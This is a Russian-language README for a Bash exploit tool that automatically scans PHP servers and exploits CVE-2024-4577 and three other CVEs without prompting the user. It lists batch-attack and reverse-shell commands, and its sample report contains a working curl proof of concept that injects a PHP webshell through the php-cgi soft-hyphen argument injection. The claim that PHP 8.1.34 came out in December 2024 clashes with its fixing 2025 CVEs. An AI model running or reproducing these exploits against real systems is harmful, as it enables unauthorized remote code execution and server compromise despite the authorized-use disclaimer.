🚀 PHP CVE Автопилот

Автоматизированное обнаружение и эксплуатация критических уязвимостей PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)

PHP8.1.x_Exploit.sh — это однофайловый, не требующий настройки инструмент оценки безопасности, который автоматически находит уязвимые конечные точки PHP и эксплуатирует четыре критические CVE, затрагивающие версии PHP до 8.1.34 (выпущены в декабре 2024). Он не требует ручной подготовки полезной нагрузки – просто укажите URL, и скрипт сделает всё остальное: от сканирования до удалённого выполнения кода. Полный автопилот – обнаружение и эксплуатация происходят автоматически, без запросов от пользователя.

Возможности

• Полностью автономный автопилот – по одному URL он сканирует, снимает отпечаток, тестирует и эксплуатирует без взаимодействия с пользователем.
• Пакетное сканирование – подайте список целей и запускайте параллельно.
• Расширенный сбор ссылок – извлекает ссылки и формы с главной страницы для лучшего обнаружения.
• Определение ОС и версии PHP – избегает атак, предназначенных только для Windows, на Linux, проверяет версию PHP.
• CVE-2024-4577 обход (внедрение аргументов Windows CGI)
  • Обнаруживает и эксплуатирует уязвимые конечные точки PHP-CGI.
  • Опционально обратный шелл (однострочник PowerShell).
  • Два варианта внедрения: стандартный -d и обход через мягкий дефис %AD.
• CVE-2025-14177 – утечка памяти кучи через getimagesize()
  • Динамически создаёт некорректный JPEG и автоматически отправляет его на любую обнаруженную точку загрузки.
  • Обнаруживает утёкшую память в ответах.
• Глубокое локальное сканирование через RCE (при успешной эксплуатации CVE-2024-4577)
  • Загружает лёгкий PHP-сканер, который тестирует:
    • CVE-2025-14180 – разыменование NULL-указателя в PDO PostgreSQL.
    • CVE-2025-14178 – целочисленное переполнение в array_merge.
• Умный сбор ссылок – извлекает ссылки и формы для обнаружения CGI-скриптов и страниц загрузки.
• Параллельное выполнение – использует parallel, если доступен, в противном случае работает последовательно.
• Подробный и отладочный режимы – просматривайте каждый HTTP-запрос и принятое решение.
• Формирование отчёта – сохраняет все результаты в текстовый файл.
• Чистота и безопасность – временные файлы удаляются при выходе, таймауты предотвращают зависания.

Требования

Права root не требуются – инструмент только отправляет HTTP-запросы и опционально выполняет обратный шелл (требуется слушатель на вашей машине).

Установка

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

Использование

Одиночная цель (наиболее часто)

./PHP8.1.x_Exploit.sh -u http://target.example.com

Одиночная цель с обратным шеллом (CVE-2024-4577)

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

Затем на вашей машине:

nc -lvnp 4444

Пакетное сканирование нескольких целей

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

Пример targets.txt:

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

Режим только сканирования (без попыток эксплуатации)

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

Сохранение отчёта в файл

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

Подробный / отладочный вывод

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # очень шумно

Как это работает (фазы)

Параметры командной строки (полная справка)

Подробно о покрываемых CVE

Примечание: CVE-2025-14180 и CVE-2025-14178 могут быть точно обнаружены только изнутри сервера (локальные тесты). Скрипт достигает этого, загружая сканер после успешной эксплуатации CGI.

📸 Пример вывода

[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)

===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================

⚠️ Важные предупреждения и отказ от ответственности

• Режим автопилота – Инструмент автоматически эксплуатирует уязвимости без запросов. Используйте только на авторизованных целях.
• Только законное использование – Этот инструмент предназначен для авторизованных оценок безопасности, тестирования на проникновение и образовательных целей. Использование его против систем без разрешения незаконно в большинстве юрисдикций.
• Без гарантии – Программное обеспечение предоставляется "КАК ЕСТЬ" без каких-либо гарантий.
• Потенциальный ущерб – Эксплойты могут вызвать сбой служб (CVE-2025-14180) или повреждение памяти (CVE-2025-14178). Не запускайте на производственных системах без явного согласия.
• Обратный шелл – Опция --revshell открывает сокет от цели к вашей машине. Убедитесь, что у вас есть право на обратное соединение.
• Логирование – Ваши запросы будут отображаться в журналах доступа/ошибок цели. Используйте ответственно.

🛠️ Устранение неполадок

🤝 Вклад

Приветствуются pull request'ы, сообщения об ошибках и предложения по функциям. Пожалуйста, следуйте:

• Сохраняйте скрипт однофайловым и чистым Bash.
• Тестируйте как с parallel, так и без него.
• Обновляйте этот README соответствующим образом.

📜 Лицензия

GNU General Public License v3.0 – см. файл LICENSE.

📚 Ссылки

• Анонс выпуска PHP 8.1.34
• CVE-2024-4577 подробно (NVD)
• CVE-2025-14177 / 14178 / 14180 (NVD)
• Сопоставление символов Windows Best-Fit

Сделано с 🧠 для сообщества безопасности. Используйте этично.